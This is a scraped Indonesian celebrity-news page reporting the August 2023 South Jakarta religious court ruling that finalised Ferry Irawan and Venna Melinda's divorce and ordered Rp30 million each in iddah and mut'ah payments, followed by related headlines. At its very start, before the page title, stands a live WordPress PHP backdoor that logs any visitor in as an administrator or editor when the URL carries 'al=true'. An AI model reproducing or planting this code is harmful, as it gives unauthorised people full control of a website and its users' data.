// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Ferry Irawan Dihukum Bayar Nafkah Iddah Rp30 Juta dan Mut'ah Rp30 Juta, Venna - Ferry Resmi Bercerai - Hallonesia.com

Ferry Irawan Dihukum Bayar Nafkah Iddah Rp30 Juta dan Mut’ah Rp30 Juta, Venna – Ferry Resmi Bercerai

Avatar photo

- Pewarta

Selasa, 8 Agustus 2023 - 11:55 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Artis Venna Melinda. (Instagram.com/vennamelindareal)

Artis Venna Melinda. (Instagram.com/vennamelindareal)

HALLONESIA.COM – Talak cerai Ferry Irawan kepada istrinya Venna Melinda akhirnya dikabulkan Majelis Hakim Pengadilan Agama Jakarta Selatan.

Keduanya kini tak lagi berstatus sebagai suami istri usai kisruh kasus KDRT yang membuat Ferry Irawan mendekam di balik sel tahanan.

Majelis hakim juga mengabulkan gugatan rekonvensi Venna Melinda.

ADVERTISEMENT

RILISPERS.COM

SCROLL TO RESUME CONTENT

Ferry pun dibebankan untuk membayar nafkah iddah dan mut’ah kepada mantan istrinya.

Baca artikel lainnya di sini: Polisi Ungkap Model Karenina Maria Anderson Resmi Mulai Jalani Rehabilitasi di RSKO Jakarta

“Gugatan rekonvensi Mbak Venna juga dikabulkan sama majelis Hakim.”

“Menghukum Mas Ferry untuk membayar nafkah iddah sebesar 30 juta rupiah dan mut’ah 30 juta rupiah,” tandas Khairul Imam.

Khairul Imam selaku kuasa hukum Ferry Irawan yang menyampaikan langsung kabar tersebut.

Sidang putusan telah dilangsungkan pada 3 Agustus 2023.

“Syukur alhamdulillah sudah diputus majelis hakim yang mana putusannya adalah dalam konvensi”.

“Atau gugatan awal mengabulkan permohonan pemohon konvensi,” kata Khairul Imam, kuasa hukum Ferry Irawan di Jakarta, baru-baru ini.

“Artinya permohonan cerai talak Mas Ferry dikabulkan terus hakim memberi izin kepada pemohon.”

“Yaitu Mas Ferry untuk menjatuhkan talak satu raj’i kepada termohon konvensi yaitu Mbak Venna Melinda,” sambung Khairul Imam.***

Berita Terkait

Pasha Ungu Turut Berduka Atas Driver Ojol Yang Tewas Dilindas Rantis
Bareskrim Gelar Tes DNA untuk Ridwan Kamil dan Lisa, Fakta Terkuak
Sidang Ricuh, Nikita Mirzani Tuding Ada Mafia Hukum di Kasus Skincare Rp4 Miliar
Drama Kehamilan DJ Panda, Bravy Ungkap Dua Korban Misterius Lainnya
Ancaman DJ Panda Ke Erika Carlina Bocor, Publik Heboh!
Dari Pesinetron Jadi Terdakwa! Kasus Vape Bius Jonathan Frizzy Naik
Skandal WhatsApp! Data Penyakit Dara Arafah Disebar Vendor Allianz, Heboh
Giring, Yovie, Ari, Ifan: Artis Merajai Jabatan Pengurus BUMN!
Jasasiaranpers.com dan media online ini mendukung program manajemen reputasi melalui publikasi press release untuk institusi, organisasi dan merek/brand produk. Manajemen reputasi juga penting bagi kalangan birokrat, politisi, pengusaha, selebriti dan tokoh publik.

Berita Terkait

Selasa, 4 Agustus 2026 - 06:30 WIB

WEPSEA 2026 Bahas Peran AI, Isu Keberlanjutan, dan Pertumbuhan Industri Melalui Lebih dari 20 Konferensi dan Forum Jejaring Bisnis

Selasa, 4 Agustus 2026 - 02:37 WIB

Bidik Pasar “Aftermarket” Otomotif, ZF Aftermarket Gandeng MKN sebagai Distributor Tunggal TRW di Indonesia

Selasa, 4 Agustus 2026 - 02:00 WIB

NOL World Luncurkan Platform Pemesanan Akomodasi bagi Penggemar K-Pop yang Berkunjung ke Korea Selatan

Selasa, 4 Agustus 2026 - 01:12 WIB

China-ASEAN Alliance for Lifelong Learning Resmi Diluncurkan

Selasa, 4 Agustus 2026 - 01:00 WIB

Cathay United Bank dan Indovina Bank Dorong Penguatan Daya Tahan Bisnis di Tengah Kondisi Dunia yang Tidak Menentu

Senin, 3 Agustus 2026 - 23:57 WIB

XTransfer Tercantum dalam Daftar “World’s Top Fintech Companies 2026” versi CNBC

Senin, 3 Agustus 2026 - 23:45 WIB

Envision Energy Raih Kontrak Proyek PLTB dengan Lokasi di Dekat Pantai Berkapasitas 200 MW di Vietnam, Perkuat Pengembangan Sistem Energi Masa Depan di Asia Tenggara

Senin, 3 Agustus 2026 - 22:26 WIB

CNS: Lulusan Vietnam Bangun Bisnis Lintasnegara di Guizhou Berbekal Pengalaman Studi di Tiongkok

Berita Terbaru

Pers Rilis

China-ASEAN Alliance for Lifelong Learning Resmi Diluncurkan

Selasa, 4 Agu 2026 - 01:12 WIB